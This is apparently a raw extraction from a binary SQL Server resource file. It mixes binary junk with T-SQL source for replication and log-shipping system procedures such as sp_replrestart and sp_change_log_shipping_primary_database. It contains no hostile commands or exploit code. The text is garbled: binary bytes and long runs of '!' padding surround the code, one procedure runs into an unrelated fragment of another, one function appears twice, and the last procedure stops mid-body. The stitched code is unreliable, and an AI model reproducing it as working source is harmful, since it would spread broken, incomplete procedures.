P Ytsp_MSdetect_nonlogged_shutdown00HP 3jsp_MSrepl_changesubstatus00P ``sp_MSdrop_distributor_alerts_and_responses00P NbGysp_change_log_shipping_primary_database00cX exex^sp_replupdateschema00+P f[tsp_MSaddautonosyncsubscription001IFZ1Rfn_dump_dblog00ȑP plsp_MSrepl_gettype_mappings00P dsp_MSenum_distribution00vP rsp_MSrepl_enumpublishertables00TFg`fn_MStran_foreignkey00P tsp_MSrepl_checkdatatypemapping00_ V Rp`dm_os_memory_objects00$P ((bsp_columns_rowset_rmt00-'P 0Xsp_grantdbaccess004P LLNsp_helpsort00L=FNbfn_MSrepl_ispublished00AP fsp_MScdc_tranrepl_check00'GP 0Vsp_distcounters00h[GP s:bsp_MSgettrancftsrcrow00ieHP U|sp_MSactivatelogbasedarticleobject004HP DRZxsp_validate_redirected_publisher004JP 8sfsp_MSupdatelastsyncinfo00MV 55xspt_table_type_primary_keys_view00}~NP zI\sp_replsqlqgetrows00]NX DJzsp_describe_undeclared_parameters00aP mmbsp_MSmerge_altertable00ʈdV wrrnavailability_groups_cluster00aP 8fdsp_MSbuild_single_post00P ~=xsp_replmonitorrefreshwarningdata00(P LE{bsp_MSsub_set_identity00P  ZVsp_unbindefault00NV 5wQwFDOMAINS007P U>sp_fulltext_semantic_register_language_statistics_db00K٣P tO|sp_MSestimatemergesnapshotworkload005uP $2psp_MSmerge_autoident_upgrade00P g==hsp_check_dynamic_filters00=P Zsp_MSsetupbelongs00=P 9^sp_MSscriptviewproc00EP .sp_MScreatelightweightinsertorupdatetriggers00#P B|sp_MSdeletelightweightsubscription00AlP rIhsp_MSadd_filteringcolumn00KP bsp_MSSQLDMO90_version&@


>>b
(
	4	|fLxz26p"`^8<U	$H0 8--
-- Name: fn_repltranquotecustomproc
--
-- Description: This function takes a given command based on 
-- custom procedure name of the form XXXX sp_MSxxx_custom_proc_name or XXXX x_GUID  
-- and decorates this as XXXX [dbo].[sp_MSxxx_custom_proc_name] or XXXX [dbo].[x_GUID]
-- if @destination_owner is null (prependDBO flag tells us if @destination_owner is set) 
--
-- Parameters: 
--  @cmd    nvarchar(255)
-- 
-- Returns: nvarchar(255) 
--
-- Notes: 
-- 1) This function returns the input if no processing is done
-- 2) Command validation is not done inside the function
-- it is not exposed for public use - sp_addarticle uses this function
-- and the caller does the command validation already
--
-- Security: Not exposed as Public Object
-- 
create function sys.fn_repltranquotecustomproc 
(
    @command nvarchar(255),
	@prependDBO bit
) 
returns nvarchar(255)
as
begin
    declare @commandout nvarchar(1000)
                ,@customprocmaxlen int
                ,@cmdlen int
                ,@schemaname nvarchar(255)
                ,@schemalen int
                ,@callformlen int
                ,@startpos int
                ,@procnamelen int

	
	if(@prependDBO = 1)
	begin
	set @schemaname=N'[dbo]'
	end

    if (@command is not null)
    begin
	-- initialize
	select @customprocmaxlen = 255
                ,@cmdlen = len(@command)

       select @schemalen = len(@schemaname)
    
        if (upper(left(@command, 5)) = N'CALL ')
        begin -- CALL format
             set @callformlen = len(N'CALL')
            if lower(substring(@command, len(N'CALL') + 2, @schemalen + 1)) = @schemaname + N'.'
            begin
            	set @startpos = len(N'CALL') + @schemalen + 3
            	set @procnamelen = @cmdlen - len(N'CALL') -  @schemalen - 2
            end
            else
            begin
		set @startpos = len(N'CALL') + 2
            	set @procnamelen = @cmdlen - len(N'CALL')  - 1              
            end
	end
	else if (upper(left(@command, 5)) in (N'XCALL', N'MCALL', N'VCALL', N'SCALL'))
	begin --XCALL/VCALL/MCALL/SCALL format
            set @callformlen = 5
            if lower(substring(@command, 7, @schemalen + 1)) = @schemaname + N'.'
            begin
            	set @startpos = 8 + @schemalen
            	set @procnamelen = @cmdlen - 7 - @schemalen 
            end
            else
            begin
		set @startpos = 7
            	set @procnamelen = @cmdlen - 6              
            end
	end
	else
	     return null --invalid call format

	--construct the quoted name with prefix
	if (@prependDBO = 0)
		set @commandout = upper(left(@command, @callformlen)) + N' '
	else
		set @commandout = upper(left(@command, @callformlen)) + N' ' + @schemaname + N'.'
		
	if substring(@command, @startpos, 1) = N'[' and substring(@command, @cmdlen, 1) = N']' --already quoted
		set @commandout = @commandout +  substring(@command, @startpos, @procnamelen)
	else
		set @commandout = @commandout + quotename(substring(@command, @startpos, @procnamelen))
					 
	if len(@commandout) > 255
		return N'' --size limit is reached
   end
   else
   	return null

   return @commandout

end
04 08create procedure sys.sp_replrestart 
AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode int
        ,@lsn binary(10)
        ,@dist_lsn binary(10)
        ,@distributor sysname
        ,@distribdb sysname
        ,@distproc nvarchar(4000)
        ,@dbname sysname
        ,@publisher sysname
    /*
    ** Initializations
    */
    select @retcode = 0
    select @dbname = db_name()

    /*
    ** Security
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Make sure the database is published.
    IF (SELECT category & 1
          FROM master.dbo.sysdatabases
         WHERE name = @dbname collate database_default) = 0
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- Make sure that the log reader is not running
    -- Use 0 so that it will not hold the repl proc structure (the lock).
    exec @retcode = sys.sp_replcmds 0
    if @@ERROR <> 0 or @retcode <> 0
    begin
        RAISERROR (20610, 16, -1, 'sp_replrestart')
        return(1)
    end

    /*
    ** Get distribution server information for remote RPC call.
    */

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                       @distribdb = @distribdb OUTPUT

    IF @@ERROR <> 0 OR  @retcode <> 0
    BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    -- Get max dist lsn
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSget_last_transaction'
    			,@publisher = publishingservername()
    EXECUTE @retcode = @distproc 
        @publisher = @publisher,
        @publisher_db = @dbname,
        @max_xact_seqno = @dist_lsn output
    IF @@ERROR <> 0 or @retcode <> 0
        return 1

    if @dist_lsn is null
        set @dist_lsn = 0x0

    begin tran
	save tran sp_replrestart

    -- To safeguard the case when the logreader is started after the check later
    -- use a tran to prevent the logreader from picking up the new lsns
    while 1 = 1
    begin
        -- Get publisher's lsn
        EXEC @retcode = sys.sp_replincrementlsn_internal @lsn OUTPUT
        IF @@ERROR <> 0 or @retcode <> 0
            goto UNDO

        if @lsn >= @dist_lsn
            break
    end

	--on the other hand, after publisher db is restored, if users retrieves what's been delivered to subscriber already
	--and use it to bring publisher up to more current state, after such *compensation* publisher log may be ahead of @dist_lsn
	--in which case we should manully update MSrepl_transactions table so that it does not scan the compensating portion of log
	if(@lsn > @dist_lsn)
	begin
	    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + '.sys.sp_MSreset_transaction'
	    EXECUTE @retcode = @distproc 
	        @publisher = @publisher,
	        @publisher_db = @dbname,
	        @xact_seqno = @lsn
	    IF @@ERROR <> 0 or @retcode <> 0
	        GOTO UNDO

	end

    /* Mark the new starting point of the replication.*/
    exec @retcode = sys.sp_repldone NULL, NULL, 0, 0, 1
    IF @@ERROR <> 0 or @retcode <> 0
        GOTO UNDO

    /* release our hold on the db as logreader */
    EXEC @retcode = sys.sp_replflush
    IF @@ERROR <> 0 or @retcode <> 0
        GOTO UNDO

    commit tran
    return 0

UNDO:
    if @@trancount <> 0
    begin
        rollback tran sp_replrestart
        commit tran
    end
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`		<
	E$)F0m' 8--
-- Name: sp_validate_replica_hosts_as_publishers
--
-- Descriptions: Retrieve the redirected publisher for the specified 
--               publisher database pair. If the publisher is not
--               currently redirected, return NULL. 
--
--               For redirected publishers, a connection is made to the
--               redirected publisher to determine whether the target of
--               redirection is an availability group VNN Name. If it is
--               not, a message is returned indicating that the redirected
--               publisher is not associated with an availability group.
--
--				 The availability group primary is then queried for the
--				 names of the hosts of the member replicas. Each host in 
--				 turn is validated as a publisher for the database.
--
--               In general, the stored procedure will attempt to continue
--				 after encountering errors, and will try to validate all
--				 of the known replica hosts associated with the availability
--				 group.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success, 1 on failure; on failure errors are raised
--
-- Security: Public procedure invoked via RPC. check caller for db_owner 
--           or in the PAL of a publication of the named pubisher check
--
create procedure sys.sp_validate_replica_hosts_as_publishers
(
    @original_publisher sysname,
    @publisher_db sysname,
    @redirected_publisher sysname output
)
as
begin

   set nocount on

   declare 
        @target_server sysname,
        @publisher_linked_server sysname,
        @dbname sysname,
        @retcode int,
		@use_caller_credentials bit
		
   set @redirected_publisher = null
   set @target_server = null
   set @publisher_linked_server = null
   set @dbname = db_name()
   set @use_caller_credentials = 1
   
    -- Has to be executed from a distribution database
    --
    if (sys.fn_MSrepl_isdistdb (@dbname) <> 1)
    begin
        raiserror(21874, 16, -1, 'sys.sp_validate_replica_hosts_as_publishers', @dbname)
		return 1
    end	
		
    -- Verify input parameters are not NULL
    --
    if @original_publisher is null or
        @publisher_db is null
    begin
        raiserror (21875, 16, -1, 'sys.sp_validate_replica_hosts_as_publishers')
		return 1
    end
    
    -- Security check
    --
    if is_member(N'db_owner') <> 1
    begin
        exec @retcode = sys.sp_MSrepl_DistDBPALAccess @original_publisher
        
        if (@retcode <> 0) or (@@error <> 0)
        begin
            raiserror (21873, 16, -1, 'sys.sp_validate_replica_hosts_as_publishers')
			return 1
        end
    end
		
    -- If the publisher of the database has not been redirected
    -- return without performing any validation.
    --
    select @redirected_publisher = redirected_publisher
    from MSredirected_publishers
    where upper(original_publisher) = upper(rtrim(@original_publisher))
    and publisher_db = rtrim(@publisher_db)
		
    if @redirected_publisher is null
    begin
		raiserror(21871, 10, 0, @original_publisher, @publisher_db);
        return 0
    end
		
    -- Verify that the original publisher is a SQL Server publisher of this 
    -- distributor.
    --
    if not exists (
        select name from msdb.dbo.MSdistpublishers
        where upper(rtrim(@original_publisher)) = upper(name) collate database_default
        and N'MSSQLSERVER' = upper(publisher_type)) 
    begin
        raiserror (21876, 16, -1, @@servername, @original_publisher, @publisher_db)
		return 1
    end
    
    -- Verify that there is a sysservers entry for the original publisher 
    -- at the distributor.
    --
    if not exists (
	    select srvid
	    from master..sysservers
	    where upper(srvname) collate database_default = upper(rtrim(@original_publisher)))
	begin
		raiserror (21877, 16, -1, @original_publisher, @publisher_db)
		return 1
	end
				
    -- Create a linked server to connect to the target of redirection.
    --
    exec @retcode = sys.sp_hadr_create_linked_server @original_publisher, @publisher_db,
        @redirected_publisher, @publisher_linked_server output, @use_caller_credentials
    if @retcode <> 0
	begin
        return 1
	end
	
    -- Query the availability group primary for the names of the member replicas associated
	-- with the publisher database and validate the host server for each replica as a
	-- replication publisher. 
    --
	exec @retcode = sys.sp_hadr_validate_replica_hosts_as_publishers @original_publisher, 
        @redirected_publisher, @publisher_db, @publisher_linked_server 
    
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`g
<C	;H0 	8
--
-- Name:    
--          sp_ORAdroparticle
--          
-- Description: 
--          Drop oracle article info
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Notes:
--			This stored procedure calls the HREPL.UnpublishTable on the Oracle publisher to
--			remove the replication trigger and delete the tracking table, if the article being dropped
--			is the last published article associated with the specific Oracle table.       
--
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_ORAdroparticle
(
	@publisher		sysname,
	@articleID		int,
	@publisherID	int,
	@tableID		int,
	@owner			sysname,
	@tablename		sysname,
	@viewname		nvarchar(256),
	@distributortimestamp	datetime
)
AS
BEGIN
	DECLARE @retcode int,
			@droptriggers int

	SET NOCOUNT ON

	-- Define sp_IHquery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- If the publisher table is associated with other articles from transactional publications, 
	-- don't drop the triggers and log table.  
	IF EXISTS
	(
		SELECT	*
		FROM	IHarticles a,
				IHpublications p
		WHERE	a.publisher_id = @publisherID
		  AND	a.table_id = @tableID 
		  AND	a.publication_id = p.pubid 
		  AND	p.repl_freq = 0
	)
	BEGIN
		SET @droptriggers = 0
	END
	ELSE
	BEGIN
		SET @droptriggers = 1
	END
	
	IF @@ERROR <> 0 
	BEGIN
		RAISERROR (21630, 16, -1, @tablename)
		RETURN (1)
	END

	--  Call the remote routine to unpublish the table
	INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.UnPublishTable(')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@owner, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@tablename, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @tableID) + N',')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@viewname, '''') + N',')
	INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @droptriggers) + N', ')
	INSERT INTO #hquery (cmd) VALUES (QUOTENAME(CONVERT(NVARCHAR(255), @distributortimestamp, 121), '''') + N' )}')

	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21631, 16, -1, @tablename)
       	RETURN (1)
	END

	RETURN(0)
END	
0_ D8Fkhb /01Z 8create function sys.fn_MSgetlogshippingjobname 
(
    @server sysname
    ,@database sysname
    ,@mode tinyint  -- 0 - backup, 1 - copy, 2 - restore, 3 - alert
)
returns sysname
as
begin
    declare @jobname sysname
               ,@jobnameseed sysname
               ,@retries tinyint

    select @server = upper(@server)
    select @jobname = case 
        when (@mode = 0) then N'LSBackup_' + @database
        when (@mode = 1) then N'LSCopy_' + @server + N'_' + @database
        when (@mode = 2) then N'LSRestore_' + @server + N'_' + @database
        when (@mode = 3) then N'LSAlert_' + @server
        else NULL end
            ,@retries = 0
            
    if (@jobname is not null)
    begin
        --
        -- Check if name matches with existing non log shipping job
        --
        select @jobnameseed = @jobname
        while (exists (select job_id from msdb.dbo.sysjobs_view 
            where name = @jobname and category_id != 6))
        begin
            -- postfix with a number and try
            select @retries = @retries + 1
            select @jobname = @jobnameseed + cast(@retries as nvarchar(20))
        end
    end
    return @jobname
end
0ؽ@  
8create procedure sys.sp_MSdropmergepub_snapshot (
    @publication sysname,
    @ignore_distributor bit = 0
) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode            int
    declare @distributor        sysname
    declare @distproc           nvarchar(300)
    declare @snapshot_jobid     binary(16)
    declare @fFoundPublication  int
    declare @pubid              uniqueidentifier
    declare @distribdb          sysname
    				,@publishingservername sysname

    /*
    ** Initializations
    */
    select @fFoundPublication = 0
    			,@publishingservername = publishingservername()

    /* validate the publication */
    /* If the publication is  not exist found return error */
    EXEC @retcode = sys.sp_helpmergepublication @publication, @fFoundPublication output, @pubid output
    if @@ERROR <> 0 OR @fFoundPublication = 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END

    /*
    ** Get taskid. Make sure the snapshot_jobid is not NULL only before using MAX
    ** Otherwise there will be a warnning.
    */
    select @snapshot_jobid = max(isnull(snapshot_jobid,0)) FROM dbo.sysmergepublications WHERE pubid = @pubid
    
    if (@snapshot_jobid IS NOT NULL)        
    begin

    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin
        /*
        ** Get distributor information
        */
        EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT,
            @distribdb = @distribdb OUTPUT
            if @@error <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR (14071, 16, -1)
                RETURN (1)
            END

        /*
        ** Delete sync agent of Publication.
        */
        declare @dbname sysname
        set @dbname = DB_NAME()
        SELECT @distproc = RTRIM(@distributor) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSdrop_snapshot_agent'
        EXECUTE @retcode = @distproc 
            @publisher = @publishingservername,
            @publisher_db = @dbname,
            @publication = @publication

        IF @@ERROR <> 0 or @retcode <> 0
            RETURN(1)
    end


        /* Update publication's taskid */
        UPDATE dbo.sysmergepublications set snapshot_jobid = NULL WHERE pubid = @pubid
        IF @@ERROR <> 0
        BEGIN
            RAISERROR (20072, 16, -1)
            RETURN (1)
        END

    end
            
    return (0)        
 @this_col) + N' = ' + quotename(@colname) 
                    select @spacer2 = N','
                end
                
                select @spacer = N','
            end
            select @art_col = @art_col + 1

            -- flush command if necessary
            exec sys.sp_MSflush_command @cmd output, 1, 4
       end
       FETCH #hccolid INTO @this_col
    end
    CLOSE #hccolid
    DEALLOCATE #hccolid
    --
    -- all done
    --
    return 0
END
01Z 8create function sys.fn_MSgetlogshippingjobname 
(
    @server sysname
    ,@database sysname
    ,@mode tinyint  -- 0 - backup, 1 - copy, 2 - restore, 3 - alert
)
returns sysname
as
begin
    declare @jobname sysname
               ,@jobnameseed sysname
               ,@retries tinyint

    select @server = upper(@server)
    select @jobname = case 
        when (@mode = 0) then N'LSBackup_' + @database
        when (@mode = 1) then N'LSCopy_' + @server + N'_' + @database
        when (@mode = 2) then N'LSRestore_' + @server + N'_' + @database
        when (@mode = 3) then N'LSAlert_' + @server
        else NULL end
            ,@retries = 0
            
    if (@jobname is not null)
    begin
        --
        -- Check if name matches with existing non log shipping job
        --
        select @jobnameseed = @jobname
        while (exists (select job_id from msdb.dbo.sysjobs_view 
            where name = @jobname and category_id != 6))
        begin
            -- postfix with a number and try
            select @retries = @retries + 1
            select @jobname = @jobnameseed + cast(@retries as nvarchar(20))
        end
    end
    return @jobname
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
n
s		`rM<4	'J0[ j8create procedure sys.sp_MSprocesslogshippingmonitorprimary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@primary_id uniqueidentifier
    ,@primary_server sysname = NULL -- needed for add
    ,@monitor_server sysname
    ,@monitor_server_security_mode bit = 1
    ,@primary_database sysname = NULL -- needed for add
    ,@backup_threshold int = NULL 
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_backup_file nvarchar(500) = NULL
    ,@last_backup_date datetime = NULL
    ,@last_backup_date_utc datetime = NULL
    ,@history_retention_period int = NULL
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)

    --
    -- validate @mode
    --
    if (@mode not in (1,2,3))
        return 1
    --
    -- When adding - always delete first
    --
    if (@mode in (1,2))
    begin
        --
        -- clean up log_shipping_monitor_error_detail
        --
        select @linkcmd = N'delete msdb.dbo.log_shipping_monitor_error_detail '
        + N'where agent_id = N''' + cast(@primary_id as nvarchar(50)) + N''' and agent_type = 0 '
        exec (@linkcmd)
        --
        -- clean up log_shipping_monitor_history_detail
        --
        select @linkcmd = N'delete msdb.dbo.log_shipping_monitor_history_detail '
        + N'where agent_id = N''' + cast(@primary_id as nvarchar(50)) + N''' and agent_type = 0 '
        exec (@linkcmd)
        --
        -- remove entry from log_shipping_monitor_primary
        --
        delete msdb.dbo.log_shipping_monitor_primary
        where (@primary_id is not null 
                    and primary_id = @primary_id)
            or (@primary_server is not null and @primary_database is not null
                    and primary_server = upper(@primary_server) 
                    and primary_database = @primary_database)
        --
        -- drop alert job if needed
        --
        if (upper(@monitor_server) = upper(@@servername))
        begin
            exec sys.sp_delete_log_shipping_alert_job_internal
        end
        --
        -- specific processing for add
        --
        if (@mode = 1)
        begin
            --
            -- Add an entry in the log_shipping_monitor_primary
            --
            insert into msdb.dbo.log_shipping_monitor_primary (
                primary_id 
                ,primary_server 
                ,primary_database 
                ,backup_threshold 
                ,threshold_alert 
                ,threshold_alert_enabled 
                ,last_backup_file
                ,last_backup_date
                ,last_backup_date_utc
                ,history_retention_period)
            values (
                @primary_id
                ,upper(@primary_server)
                ,@primary_database
                ,@backup_threshold
                ,@threshold_alert
                ,@threshold_alert_enabled
                ,@last_backup_file
                ,@last_backup_date
                ,@last_backup_date_utc
                ,@history_retention_period)
            if (@@error != 0)
                return 1
            --
            -- add alert job if needed
            --
            if (upper(@monitor_server) = upper(@@servername))
            begin
                exec sys.sp_add_log_shipping_alert_job_internal
            end
        end
    end
    else if (@mode = 3)
    begin
        --
        -- update log_shipping_monitor_primary
        --
        update msdb.dbo.log_shipping_monitor_primary
        set backup_threshold = case when (@backup_threshold is null) then backup_threshold else @backup_threshold end
             ,threshold_alert = case when (@threshold_alert is null) then threshold_alert else @threshold_alert end
             ,threshold_alert_enabled = case when (@threshold_alert_enabled is null) then threshold_alert_enabled else @threshold_alert_enabled end
             ,last_backup_file = case when (@last_backup_file is null) then last_backup_file else @last_backup_file end
             ,last_backup_date = case when (@last_backup_date is null) then last_backup_date else @last_backup_date end
             ,last_backup_date_utc = case when (@last_backup_date_utc is null) then last_backup_date_utc else @last_backup_date_utc end
             ,history_retention_period = case when (@history_retention_period is null) then history_retention_period else @history_retention_period end
        where primary_id = @primary_id
        if (@@error != 0)
            return 1
    end
    --
    -- Do we need have remote monitor
    --
    if (upper(@monitor_server) != upper(@primary_server) 
            and upper(@monitor_server) != upper(@@servername)
            and @ignoreremotemonitor = 0)
    begin
        if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
        begin
            --
            -- Process remote monitor using proxy
            --
            exec @retcode = msdb.sys.sp_MSproxylogshippingmonitorprimary
                    @mode = @mode
                    ,@primary_id = @primary_id
                    ,@primary_server = @primary_server
                    ,@monitor_server = @monitor_server
                    ,@primary_database = @primary_database
                    ,@backup_threshold = @backup_threshold
                    ,@threshold_alert = @threshold_alert
                    ,@threshold_alert_enabled = @threshold_alert_enabled
                    ,@last_backup_file = @last_backup_file
                    ,@last_backup_date = @last_backup_date
                    ,@last_backup_date_utc = @last_backup_date_utc
                    ,@history_retention_period = @history_retention_period
        end
        else
        begin
            --
            -- integrated -do not use proxy
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorprimary'
            begin try
                exec @retcode = @linkcmd 
                    @mode = @mode
                    ,@primary_id = @primary_id
                    ,@primary_server = @primary_server
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = 1
                    ,@primary_database = @primary_database
                    ,@backup_threshold = @backup_threshold
                    ,@threshold_alert = @threshold_alert
                    ,@threshold_alert_enabled = @threshold_alert_enabled
                    ,@last_backup_file = @last_backup_file
                    ,@last_backup_date = @last_backup_date
                    ,@last_backup_date_utc = @last_backup_date_utc
                    ,@history_retention_period = @history_retention_period
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- all done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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`r	<c	')Mw0 ;8create procedure sys.sp_change_log_shipping_primary_database 
(
    @database sysname   -- cannot be NULL
    ,@backup_directory nvarchar(500) = NULL
    ,@backup_share nvarchar(500) = NULL
    ,@backup_retention_period int = NULL 
    ,@monitor_server_security_mode bit = NULL
    ,@monitor_server_login sysname = NULL
    ,@monitor_server_password sysname = NULL
    ,@backup_threshold int = NULL 
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@history_retention_period int = NULL
    ,@ignoreremotemonitor bit = 0
    ,@backup_compression tinyint = NULL --0 disabled, 1 enabled, 2 server default
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier
                ,@monitor_server sysname 
                ,@existing_security_mode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end

    --
    -- Parameter Check: @backup_compression
    --
    if @backup_compression is not null and @backup_compression not in (0, 1, 2)
    begin
        raiserror(21055, 16, -1, '@backup_compression','sp_change_log_shipping_primary_database')
        return 1
    end
    
    --
    -- Does it exist
    --
    select @primary_id = primary_id
            ,@monitor_server = monitor_server
            ,@existing_security_mode = monitor_server_security_mode
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @database
    if (@primary_id is null)
    begin
        raiserror(32010, 16, 2, @database)
        return 1
    end
    --
    -- validate @threshold_alert
    --
    if (@threshold_alert is not null and @threshold_alert != 14420)
    begin
        if not exists (select * 
            from master.dbo.sysmessages where error = @threshold_alert)
        begin
            raiserror(32028, 16, 2, @threshold_alert)
            return 1
        end
    end
    --
    -- refresh monitor link if the monitor credentials are have been specified
    --
    if (upper(@monitor_server) != upper(@@servername) 
        and (@monitor_server_security_mode is not null 
                or @monitor_server_login is not null 
                or @monitor_server_password is not null))
    begin
        --
        -- check if only login credentials have changed
        --
        if (@monitor_server_security_mode is not null)
            select @existing_security_mode = @monitor_server_security_mode 
        --
        -- create link for monitor server
        --
        exec @retcode = msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 1
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @existing_security_mode
                                        ,@monitor_server_login = @monitor_server_login
                                        ,@monitor_server_password = @monitor_server_password
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- start transaction
    --
    begin tran sp_change_ls_pd
    save tran sp_change_ls_pd
    --
    -- update log_shipping_primary_databases
    --
    update msdb.dbo.log_shipping_primary_databases 
    set backup_directory = case when (@backup_directory is null) then backup_directory else @backup_directory end
         ,backup_share = case when (@backup_share is null) then backup_share else @backup_share end
         ,backup_retention_period = case when (@backup_retention_period is null) then backup_retention_period else @backup_retention_period end
         ,monitor_server_security_mode = case when (@monitor_server_security_mode is null) then monitor_server_security_mode else @monitor_server_security_mode end
         ,backup_compression = case when (@backup_compression is null) then backup_compression else @backup_compression end
    where primary_id = @primary_id
    if (@@error != 0)
        goto UNDO
    --
    -- commit
    --
